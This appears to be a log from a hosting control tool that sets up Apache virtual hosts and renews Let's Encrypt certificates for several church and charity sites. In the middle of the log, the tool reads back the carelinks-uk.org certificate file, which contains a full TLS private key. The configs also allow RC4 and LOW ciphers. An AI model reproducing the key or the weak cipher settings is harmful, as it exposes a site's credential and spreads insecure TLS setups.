</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/apache2/sites-enabled/carelinks-uk_www_org.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/apache2/sites-enabled/carelinks-uk_www_org.conf)= /etc/apache2//etc/apache2/sites-enabled/carelinks-uk_www_org.conf'
	echo 'file(/etc/apache2//etc/apache2/sites-enabled/carelinks-uk_www_org.conf= 1'
fi


2026-03-20 06:00:18: 

chmod 755 /tmp/pkp720705; /tmp/pkp720705; rm /tmp/pkp720705

2026-03-20 06:00:18: 




2026-03-20 06:00:18: 

PUT: /tmp/pkp362622

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2026-03-20 06:00:18: 

chmod 755 /tmp/pkp362622; /tmp/pkp362622; rm /tmp/pkp362622

2026-03-20 06:00:18: 


AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-20 06:00:18: Establishing a connection
2026-03-20 06:00:19: 

PUT: /tmp/pkp708025

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2026-03-20 06:00:19: 

chmod 755 /tmp/pkp708025; /tmp/pkp708025; rm /tmp/pkp708025

2026-03-20 06:00:19: 


VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost 127.0.1.1 (/etc/apache2/sites-enabled/000-default.conf:1)
         port 80 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:2)
         port 80 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:2)
                 alias www.baptizo.info
         port 80 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:2)
                 alias www.bible-basics.info
         port 80 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:2)
                 alias www.biblebasicsonline.com
         port 80 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:2)
                 alias www.carelinks-uk.org
         port 80 namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:2)
         port 80 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:2)
                 alias www.carelinks.org.uk
         port 80 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:2)
                 alias www.carelinksaustralia.info
         port 80 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:2)
         port 80 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:2)
                 alias www.christadelphianfraternal.info
         port 80 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:2)
                 alias www.croydonchurch.info
         port 80 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:2)
                 alias www.dalmenynaroomabushwalkers.info
         port 80 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:2)
                 alias www.exjw.org.uk
         port 80 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:2)
                 alias www.freebible.info
         port 80 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:2)
         port 80 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:2)
         port 80 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:2)
                 alias www.maminas.info
         port 80 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:2)
                 alias www.osnowybiblii.info
         port 80 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:2)
                 alias www.persianchurch.info
         port 80 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:2)
         port 80 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:2)
                 alias www.r-b-c.org
         port 80 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:2)
                 alias www.realchrist.info
         port 80 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:2)
                 alias www.vards.info
*:443                  is a NameVirtualHost
         default server mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost mars.hostz.org (/etc/apache2/sites-enabled/000-hostz_mars_org.conf:19)
         port 443 namevhost baptizo.info (/etc/apache2/sites-enabled/baptizo_www_info.conf:23)
                 alias www.baptizo.info
         port 443 namevhost bible-basics.info (/etc/apache2/sites-enabled/bible-basics_www_info.conf:23)
                 alias www.bible-basics.info
         port 443 namevhost biblebasicsonline.com (/etc/apache2/sites-enabled/biblebasicsonline_www_com.conf:23)
                 alias www.biblebasicsonline.com
         port 443 namevhost carelinks-uk.org (/etc/apache2/sites-enabled/carelinks-uk_www_org.conf:23)
                 alias www.carelinks-uk.org
         port 443 AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message
namevhost new.carelinks.net (/etc/apache2/sites-enabled/carelinks_new_net.conf:22)
         port 443 namevhost carelinks.org.uk (/etc/apache2/sites-enabled/carelinks_www_org-uk.conf:23)
                 alias www.carelinks.org.uk
         port 443 namevhost carelinksaustralia.info (/etc/apache2/sites-enabled/carelinksaustralia_www_info.conf:20)
                 alias www.carelinksaustralia.info
         port 443 namevhost christadelphian.video (/etc/apache2/sites-enabled/christadelphian_www_video.conf:23)
         port 443 namevhost christadelphianfraternal.info (/etc/apache2/sites-enabled/christadelphianfraternal_www_info.conf:23)
                 alias www.christadelphianfraternal.info
         port 443 namevhost croydonchurch.info (/etc/apache2/sites-enabled/croydonchurch_www_info.conf:23)
                 alias www.croydonchurch.info
         port 443 namevhost dalmenynaroomabushwalkers.info (/etc/apache2/sites-enabled/dalmenynaroomabushwalkers_www_info.conf:23)
                 alias www.dalmenynaroomabushwalkers.info
         port 443 namevhost exjw.org.uk (/etc/apache2/sites-enabled/exjw_www_org-uk.conf:23)
                 alias www.exjw.org.uk
         port 443 namevhost freebible.info (/etc/apache2/sites-enabled/freebible_www_info.conf:23)
                 alias www.freebible.info
         port 443 namevhost backup.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_backup_org.conf:28)
         port 443 namevhost media.hopeinstoughton.org (/etc/apache2/sites-enabled/hopeinstoughton_media_org.conf:26)
         port 443 namevhost maminas.info (/etc/apache2/sites-enabled/maminas_www_info.conf:23)
                 alias www.maminas.info
         port 443 namevhost osnowybiblii.info (/etc/apache2/sites-enabled/osnowybiblii_www_info.conf:23)
                 alias www.osnowybiblii.info
         port 443 namevhost persianchurch.info (/etc/apache2/sites-enabled/persianchurch_www_info.conf:23)
                 alias www.persianchurch.info
         port 443 namevhost croydon.pjy.us (/etc/apache2/sites-enabled/pjy_croydon_us.conf:22)
         port 443 namevhost r-b-c.org (/etc/apache2/sites-enabled/r-b-c_www_org.conf:23)
                 alias www.r-b-c.org
         port 443 namevhost realchrist.info (/etc/apache2/sites-enabled/realchrist_www_info.conf:23)
                 alias www.realchrist.info
         port 443 namevhost vards.info (/etc/apache2/sites-enabled/vards_www_info.conf:23)
                 alias www.vards.info
ServerRoot: "/etc/apache2"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/var/log/apache2/error.log"
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/var/run/apache2/" mechanism=default 
Mutex mpm-accept: using_defaults
Mutex watchdog-callback: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
PidFile: "/var/run/apache2/apache2.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="www-data" id=33
Group: name="www-data" id=33
.




STDERR:
AH00558: apache2: Could not reliably determine the server's fully qualified domain name, using 127.0.1.1. Set the 'ServerName' directive globally to suppress this message


2026-03-20 06:00:19: 

PUT: /tmp/pkp760117

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/apache2/sites-enabled/carelinks-uk_www_org.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-20 06:00:19: 

chmod 755 /tmp/pkp760117; /tmp/pkp760117; rm /tmp/pkp760117

2026-03-20 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/apache2/sites-enabled/carelinks-uk_www_org.conf	1415

<VirtualHost *:80>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_error.log
    SetEnv pkp_uid	36
    SetEnv pkp_owner	carelinksuk
    RewriteEngine	On
    RewriteCond	%{REQUEST_METHOD} !POST
    RewriteRule	^/?(.*) https://%{SERVER_NAME}/$1 [R=302,L]
</VirtualHost>

<VirtualHost *:443>
    ServerName	carelinks-uk.org
    ServerAlias	www.carelinks-uk.org
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt
    DocumentRoot	/var/www/carelinks-uk_www
    <Directory /var/www/carelinks-uk_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Order	allow,deny
        allow	from all
    </Directory>
    
    CustomLog	/var/log/apache2/carelinks-uk/www_secure_access.log combined
    ErrorLog	/var/log/apache2/carelinks-uk/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2026-03-20 06:00:19: 

PUT: /tmp/pkp884479

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2026-03-20 06:00:19: 

chmod 755 /tmp/pkp884479; /tmp/pkp884479; rm /tmp/pkp884479

2026-03-20 06:00:19: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/ssl/certs/50ea9c948624fd26b0aa34d6cc8b41c6.crt	5381
fc:c8:51:bd:6d:e0:a6:75:86:8f:81:93:50:51:23:96

-----BEGIN CERTIFICATE-----
MIIFETCCA/mgAwIBAgISBS9K3qSM+Dm8QLFE6hCmrKuhMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTMwHhcNMjYwMzIwMDUwMTQ2WhcNMjYwNjE4MDUwMTQ1WjAbMRkwFwYDVQQD
ExBjYXJlbGlua3MtdWsub3JnMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKC
AQEA4n2fgGf+vN42nqCkRv47CedXAoBdnAB78lNrwQ3NBIkc2XXAQ54W6Dof2jct
Dz30vjQ11yaqTN6eTbR7VGWZobWLO37R5TDA6nAxsAs8Z90cx+cER7spbJjUvzi0
MgDd2ay0ZS/YbqBaGJfj3zsg2HeUFnvxqqjEsIurrG0sg+J8IHVWqe7/L5FM0G9r
ZriyVaT15VaQ+jVeyEoHmCKYqRI5lknIY4g7LaHCqo38zrduCvlyZCt5PzbX5LBd
zkNAg/8VWJVvS6JTI9W/ldeolrIZrNXr2Th2miGlGif4X+F3irempSbQ48qg5b/p
Wvn0c19SUG1fOndN9BePbmrEFwIDAQABo4ICNTCCAjEwDgYDVR0PAQH/BAQDAgWg
MBMGA1UdJQQMMAoGCCsGAQUFBwMBMAwGA1UdEwEB/wQCMAAwHQYDVR0OBBYEFGuw
OfstdlLKY77y1ooPM9vQvViEMB8GA1UdIwQYMBaAFOernw8sM6BT015PeMiyhA47
1pIzMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDovL3IxMy5pLmxl
bmNyLm9yZy8wMQYDVR0RBCowKIIQY2FyZWxpbmtzLXVrLm9yZ4IUd3d3LmNhcmVs
aW5rcy11ay5vcmcwEwYDVR0gBAwwCjAIBgZngQwBAgEwLgYDVR0fBCcwJTAjoCGg
H4YdaHR0cDovL3IxMy5jLmxlbmNyLm9yZy8zNC5jcmwwggENBgorBgEEAdZ5AgQC
BIH+BIH7APkAdgCWl2S/VViXrfdDh2g3CEJ36fA61fak8zZuRqQ/D8qpxgAAAZ0J
1IfZAAAEAwBHMEUCIQC+oAEqAIAH/CG29V2n39Z4/ghbskEvHxjUNLC34i0l1QIg
SifqUvRgm36aiBmOVpPR7R/L54WvPoEMe4gTrxsQX+MAfwCoJsvjCsY1EkZTP+Bl
8U8Z2W4ZCBPEHdlteQCzEjxVJwAAAZ0J1ItZAAgAAAUAA5vgPwQDAEgwRgIhAMg/
9WOZvRUsC8cNLirwbIHAyzrErNcgNrn7JL3waRLpAiEAiQrTzg3AsF2fXdlgOQb+
6hbcKk/67hAjTxN8WJYh0I8wDQYJKoZIhvcNAQELBQADggEBAFomY1P8GXjeE0Yn
2LkH/Zv47wKfeSBZmredRm0ZtvzB9j89dlzyEG2Rx37RiSg82AYYM7lBjIuFqAY9
/jU0n8UJrQk03p/C6Lz5dSSI07a/Ioju0Zz9v4zgjL7DeB6suFXrGFHZLn1M3qYp
8aJoX84ZwqzIZ2NbM4aMivRIZDpFZPQlQlVF131K5gpZ2jHtgZehZFn2fvG0tXGZ
X2itL1woq99RyMIzEndCWhtw4jnXlsNGKZWId0EV1m3j6oAcMAN4uPd2kl18RExK
iGPb9WEqgNr3HDQ+iAJZB6/W62/0p4R+AyaaRwCFmXS9zzvPuE53BTlH3QrlGRY9
D3CI80g=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvgIBADANBgkqhkiG9w0BAQEFAASCBKgwggSkAgEAAoIBAQDifZ+AZ/683jae
oKRG/jsJ51cCgF2cAHvyU2vBDc0EiRzZdcBDnhboOh/aNy0PPfS+NDXXJqpM3p5N
tHtUZZmhtYs7ftHlMMDqcDGwCzxn3RzH5wRHuylsmNS/OLQyAN3ZrLRlL9huoFoY
l+PfOyDYd5QWe/GqqMSwi6usbSyD4nwgdVap7v8vkUzQb2tmuLJVpPXlVpD6NV7I
SgeYIpipEjmWSchjiDstocKqjfzOt24K+XJkK3k/NtfksF3OQ0CD/xVYlW9LolMj
1b+V16iWshms1evZOHaaIaUaJ/hf4XeKt6alJtDjyqDlv+la+fRzX1JQbV86d030
F49uasQXAgMBAAECggEAK+Ny8oN0ae3XgLKZUsZ180vYYPw154JygjknEsBVX5Eg
PYVjTdcHElYdEQCLIz56vBbK7heofX/QBje4hFixxhOzWMKQ8swZPfSitD3hJTFE
H/qEqk+6zbfp1eorhNsFImakiE0WsA0zmDtqpTnEeh3l3NuEr3DHuHxANofrTdzK
pTyXEeuIqLI2X0NDpyYrOykNbdI797gVtMekPTj6PprH+NaGVyB/y73qM9Xp6b4P
ONAF17Oeg6FXlFpnufbzZSBLvv+GWX0stCYdCh3R7vMmwSoCCT5KXKonkBSxv02P
4oFfDg5wyYp28603eDt384vLPpnAlG0t8DuIn1sOeQKBgQDx8GRTZkw+DXjOVxaS
eu8vSs/LMI3UmztLO2q845vmN0kwguvdRmUqodrB6ncJThxwBTGSMQ6EkUFRCSDe
H9p8xHeCUpidc/8SzBcmEQnsRc+0J/UPMPYpsbSTaLsG8fAm54EJzwP+k7KNxJH5
ghdRPzxYg3MJBswB0F2BxjE2eQKBgQDvp2N78QZqU7fF9KwxhLYfPf0ZO0RKRq9h
otZ2TNkIwB6tJDWMQYk1Siht0lxcdp4Y7ScKNHl87J0opN8Xk5XH6MeW6HNDQKRD
9GNZdhIfHcV3HvaCBUXTdIkqSAsB8GvAp91e6WW4TIqGAj5AiB9XKAGoi3k/5KIl
9ijYnORrDwKBgG3ChYFgk45DRl82G0NxCjoGUqb37CBcHFZRKmdvSzbyNf4QJzlH
ynXA4CHBYSeTjEs1z/tmzhNOYreE0Kh1AwY/i4hQOHSWP04j0QywBjRup4Av8Hln
2QWpXSbTCKZp9G1x8ZSlmkZQc1zlpOPxJOrzKUluuS2LK9pW0VUiuQjhAoGBAKi3
VShaZMPSMFyihd9OqNCR2W879DW+UZYRB569N0YbyvzlsvUM5kWn8ZJvOCq4L1Ep
FATxMF4sTe/hMlXsxtO4I1swRoUgKwTUNmUy5EsXsH7OQ4kBoUjej/o+QdGZqqI1
C3nYIo5/BD6Xsa/IpRe8yH4ZwsCieyzygYsN2RktAoGBAJg8IiQsH/vABXjxC1Dq
9hEYTiPOpvYpSE+O9jT129l45OxXNzzdNIM0myzZlogHkzrigLK6m51nYxIpu2ma
fz2ip2UiBxMDhZZmtffFyo87V//fK8woSB4TRs6ItNVLGRfxzzcc4Nbi/UVgmQqq
yfGOw6kGeMKm9z2y2lI9uPsi
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBTCCAu2gAwIBAgIQWgDyEtjUtIDzkkFX6imDBTANBgkqhkiG9w0BAQsFADBP
MQswCQYDVQQGEwJVUzEpMCcGA1UEChMgSW50ZXJuZXQgU2VjdXJpdHkgUmVzZWFy
Y2ggR3JvdXAxFTATBgNVBAMTDElTUkcgUm9vdCBYMTAeFw0yNDAzMTMwMDAwMDBa
Fw0yNzAzMTIyMzU5NTlaMDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBF
bmNyeXB0MQwwCgYDVQQDEwNSMTMwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEK
AoIBAQClZ3CN0FaBZBUXYc25BtStGZCMJlA3mBZjklTb2cyEBZPs0+wIG6BgUUNI
fSvHSJaetC3ancgnO1ehn6vw1g7UDjDKb5ux0daknTI+WE41b0VYaHEX/D7YXYKg
L7JRbLAaXbhZzjVlyIuhrxA3/+OcXcJJFzT/jCuLjfC8cSyTDB0FxLrHzarJXnzR
yQH3nAP2/Apd9Np75tt2QnDr9E0i2gB3b9bJXxf92nUupVcM9upctuBzpWjPoXTi
dYJ+EJ/B9aLrAek4sQpEzNPCifVJNYIKNLMc6YjCR06CDgo28EdPivEpBHXazeGa
XP9enZiVuppD0EqiFwUBBDDTMrOPAgMBAAGjgfgwgfUwDgYDVR0PAQH/BAQDAgGG
MB0GA1UdJQQWMBQGCCsGAQUFBwMCBggrBgEFBQcDATASBgNVHRMBAf8ECDAGAQH/
AgEAMB0GA1UdDgQWBBTnq58PLDOgU9NeT3jIsoQOO9aSMzAfBgNVHSMEGDAWgBR5
tFnme7bl5AFzgAiIyBpY9umbbjAyBggrBgEFBQcBAQQmMCQwIgYIKwYBBQUHMAKG
Fmh0dHA6Ly94MS5pLmxlbmNyLm9yZy8wEwYDVR0gBAwwCjAIBgZngQwBAgEwJwYD
VR0fBCAwHjAcoBqgGIYWaHR0cDovL3gxLmMubGVuY3Iub3JnLzANBgkqhkiG9w0B
AQsFAAOCAgEAUTdYUqEimzW7TbrOypLqCfL7VOwYf/Q79OH5cHLCZeggfQhDconl
k7Kgh8b0vi+/XuWu7CN8n/UPeg1vo3G+taXirrytthQinAHGwc/UdbOygJa9zuBc
VyqoH3CXTXDInT+8a+c3aEVMJ2St+pSn4ed+WkDp8ijsijvEyFwE47hulW0Ltzjg
9fOV5Pmrg/zxWbRuL+k0DBDHEJennCsAen7c35Pmx7jpmJ/HtgRhcnz0yjSBvyIw
6L1QIupkCv2SBODT/xDD3gfQQyKv6roV4G2EhfEyAsWpmojxjCUCGiyg97FvDtm/
NK2LSc9lybKxB73I2+P2G3CaWpvvpAiHCVu30jW8GCxKdfhsXtnIy2imskQqVZ2m
0Pmxobb28Tucr7xBK7CtwvPrb79os7u2XP3O5f9b/H66GNyRrglRXlrYjI1oGYL/
f4I1n/Sgusda6WvA6C190kxjU15Y12mHU4+BxyR9cx2hhGS9fAjMZKJss28qxvz6
Axu4CaDmRNZpK/pQrXF17yXCXkmEWgvSOEZy6Z9pcbLIVEGckV/iVeq0AOo2pkg9
p4QRIy0tK2diRENLSF2KysFwbY6B26BFeFs3v1sYVRhFW9nLkOrQVporCS0KyZmf
wVD89qSTlnctLcZnIavjKsKUu1nA1iU0yYMdYepKR7lWbnwhdx3ewok=
-----END CERTIFICATE-----
			





2026-03-20 06:00:19: Establishing a connection
2026-03-20 06:00:19: Establishing a connection
2026-03-20 06:00:19: 

PUT: /tmp/pkp883193

#!/bin/bash
if [ -d "/var/www/biblebasicsonline_www/.well-known" ]; then
    echo 1
else
    echo 0
fi


2026-03-20 06:00:19: 

chmod 755 /tmp/pkp883193; /tmp/pkp883193; rm /tmp/pkp883193

2026-03-20 06:00:19: 


1


2026-03-20 06:00:20: Establishing a connection
2026-03-20 06:00:20: 

PUT: /tmp/pkp915627

#!/bin/bash
mkdir -p "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cd "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cat > UNV1LPdZqmhdtuy1Xh4OYqtXxx9Iy-pHhXYl-uXq68c <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
UNV1LPdZqmhdtuy1Xh4OYqtXxx9Iy-pHhXYl-uXq68c.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 UNV1LPdZqmhdtuy1Xh4OYqtXxx9Iy-pHhXYl-uXq68c
cat > fb4ytz_TbmEcSXiSXfTAn9eVzHeurg6eek498hH1Am8 <<'----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
fb4ytz_TbmEcSXiSXfTAn9eVzHeurg6eek498hH1Am8.-jIM5EB2E51kVCC6JDMzXy3saEYDtouosfbBBv2qBKE
----boundary-6506b6c63ab0478b95fb419cca0e56fb----
chmod 666 fb4ytz_TbmEcSXiSXfTAn9eVzHeurg6eek498hH1Am8


2026-03-20 06:00:20: 

chmod 755 /tmp/pkp915627; /tmp/pkp915627; rm /tmp/pkp915627

2026-03-20 06:00:20: 




2026-03-20 06:00:30: Establishing a connection
2026-03-20 06:00:30: 

PUT: /tmp/pkp733594

#!/bin/bash
mkdir -p "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
cd "/var/www/biblebasicsonline_www/.well-known/acme-challenge/"
rm UNV1LPdZqmhdtuy1Xh4OYqtXxx9Iy-pHhXYl-uXq68c
rm fb4ytz_TbmEcSXiSXfTAn9eVzHeurg6eek498hH1Am8


2026-03-20 06:00:31: 

chmod 755 /tmp/pkp733594; /tmp/pkp733594; rm /tmp/pkp733594

2026-03-20 06:00:31: 




2026-03-20 06:00:31: Establishing a connection
2026-03-20 06:00:31: 

PUT: /tmp/pkp179622

#!/bin/bash
temp_file=$(mktemp)
TARGET=6826643b9e24e5e5121c4fe73657b282.crt

cat > $temp_file <<'endmsg'
32:1a:c0:97:3c:fb:cf:76:12:dc:6d:da:7f:75:5b:b2

-----BEGIN CERTIFICATE-----
MIIFHjCCBAagAwIBAgISBVLf/aVdr9x13uUJVMT9qAq0MA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjYwMzIwMDUwMTU4WhcNMjYwNjE4MDUwMTU3WjAgMR4wHAYDVQQD
ExViaWJsZWJhc2ljc29ubGluZS5jb20wggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAw
ggEKAoIBAQC3bkoP6/iGPKXc+xrgD5bZiUrpw/fQOJobJAmQFsTVoefEel8WnRax
3Zj7CKLsKLiPPOXKhyriyyrftEE0+He0HK5GQUxDZpo56uP80PaJMRFGsNER9r3i
hVWzhxOJ55Bl7hQv2Ajg0b7r6WLkPeR92J/0YJPUyQlqLmx+CrCi64Jz4+IhY1Ul
HLIwcm5eRzhfvlhMIyl0Lto/TRY2NTPvdJ2TAV+T9seTpDARjW+BVGI3LR0tA5yJ
hxjOqSDZsHm2uZAc7Cj/oBEqJfkJtkfcV0XDGsPDuEokg64m4oHMPeqDExhDRWnX
GJ8BYmX1EJ60s8vlf90PZEB0NEMFNykxAgMBAAGjggI9MIICOTAOBgNVHQ8BAf8E
BAMCBaAwEwYDVR0lBAwwCgYIKwYBBQUHAwEwDAYDVR0TAQH/BAIwADAdBgNVHQ4E
FgQUoqf0vSCZXPN+FqvdBQdUsesNqugwHwYDVR0jBBgwFoAUALUp8i2ObzHom0yt
eD763OkM0dIwMwYIKwYBBQUHAQEEJzAlMCMGCCsGAQUFBzAChhdodHRwOi8vcjEy
LmkubGVuY3Iub3JnLzA7BgNVHREENDAyghViaWJsZWJhc2ljc29ubGluZS5jb22C
GXd3dy5iaWJsZWJhc2ljc29ubGluZS5jb20wEwYDVR0gBAwwCjAIBgZngQwBAgEw
LgYDVR0fBCcwJTAjoCGgH4YdaHR0cDovL3IxMi5jLmxlbmNyLm9yZy81My5jcmww
ggELBgorBgEEAdZ5AgQCBIH8BIH5APcAdQAOV5S8866pPjMbLJkHs/eQ35vCPXEy
Jd0hqSWsYcVOIQAAAZ0J1Lm1AAAEAwBGMEQCIFzXfEMZBV1x0OWHqo91kbaaPzbN
CC9Dcr2SFeDoR64kAiAiW5EwEAw+wRLFOYgc4H11S8TYhcigMscFoLd8WbLciwB+
AGz+UBlDqF6pFrxS0TPk3Mke8UEcfSWEINFzgJ4YGOs6AAABnQnUvMcACAAABQAD
roLFBAMARzBFAiEAlkan6Dxpi23L9YcBZ9dLNFjtEwKKWv289ZZ4nEkNOKoCIDs0
fRexNyssU3duqrrPyZ1vFvL0aCUWiE0BRwxQQ3ffMA0GCSqGSIb3DQEBCwUAA4IB
AQAGpiN7v5S+5ZfO96J4nsSv9NaOBCPFICUDdlgPFI2dLh3SsMOwcqiDl8UouVh0
Yefop5IGE41rbQK0YT3At9KDqh8omQh10XURnFIrwn3IlyU9qGSGsXAWqrar6B7H
LwHJkascqiQkARK9bz67iDi9WLtAEQs5ZRfXG6BRmu5oYoxxKSYARQ+2aFHnFbMq
RXbn8uzmQZqxMm4rZXBaRY0p5lrWpYCmzFk0CMhQdwVEfJBc2KEfSgb5IbIeNmTe
Za8KjGEwTJ4Y36A+AbBd1UZDKDHX/DEAv9+Ag4J6TLDmS4/N/lCI5eEQA5Jx1k/+
flA6HhGqww8VZ7+ze5wxXnyg
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
